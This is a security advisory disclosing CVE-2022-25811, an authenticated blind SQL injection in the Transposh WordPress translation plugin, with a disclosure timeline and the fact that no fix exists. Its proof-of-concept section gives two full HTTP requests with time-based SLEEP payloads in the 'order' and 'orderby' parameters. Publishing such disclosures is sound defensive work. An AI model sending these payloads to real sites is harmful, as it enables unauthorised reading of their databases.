Headline
Transposh WordPress Translation 1.0.8.1 SQL Injection
Transposh WordPress Translation versions 1.0.8.1 and below have a “tp_editor” page at “/wp-admin/admin.php?page=tp_editor” that is vulnerable to two authenticated, blind SQL injections when user-supplied input to the HTTP GET parameters “order” and “orderby” is processed by the web application.
RCE Security Advisory
https://www.rcesecurity.com
ADVISORY INFORMATION
=======================
Product: Transposh WordPress Translation
Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type: Improper Authorization [CWE-285]
Date found: 2022-02-21
Date published: 2022-07-22
CVSSv3 Score: 6.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N)
CVE: CVE-2022-25811CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and belowINTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.
(from the vendor’s homepage)
- VULNERABILITY DETAILS
========================
The WordPress plugin’s “tp_editor” page at “/wp-admin/admin.php?page=tp_editor” is
vulnerable to two authenticated, blind SQL Injections when user-supplied input to
the HTT GET parameters “order” and “orderby” is processed by the web application.
Since the application does not properly validate and sanitize these parameters, an
attacker with the role “Administrator” is able to inject arbitrary SQL commands
against the backend database server of the web application.
Successful exploits can allow the attacker to access the WordPress backend
database and thereby read sensitive contents. This is specifically relevant in
multi-site installations.
- PROOF OF CONCEPT
===================
To exploit the “order” parameter:
GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close
To exploit the “orderby” parameter:
GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: [Your Cookies]
Connection: close
SOLUTION
===========
None. Remove the plugin to prevent exploitation.REPORT TIMELINE
==================
2022-02-21: Discovery of the vulnerability
2022-02-21: Contacted the vendor via email
2022-02-21: Vendor response
2022-02-22: CVE requested from WPScan (CNA)
2022-02-23: WPScan assigns CVE-2022-25811
2022-05-22: Sent request for status update on the fix
2022-05-24: Vendor states that there is no update planned so far
2022-07-22: Public disclosureREFERENCES
=============
https://github.com/MrTuxracer/advisories
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
Related news
The Transposh WordPress Translation plugin for WordPress is vulnerable to unauthorized setting changes by unauthenticated users in versions up to, and including, 1.0.8.1. This is due to insufficient permissions checking on the 'tp_translation' AJAX action and default settings which makes it possible for unauthenticated attackers to influence the data shown on the site.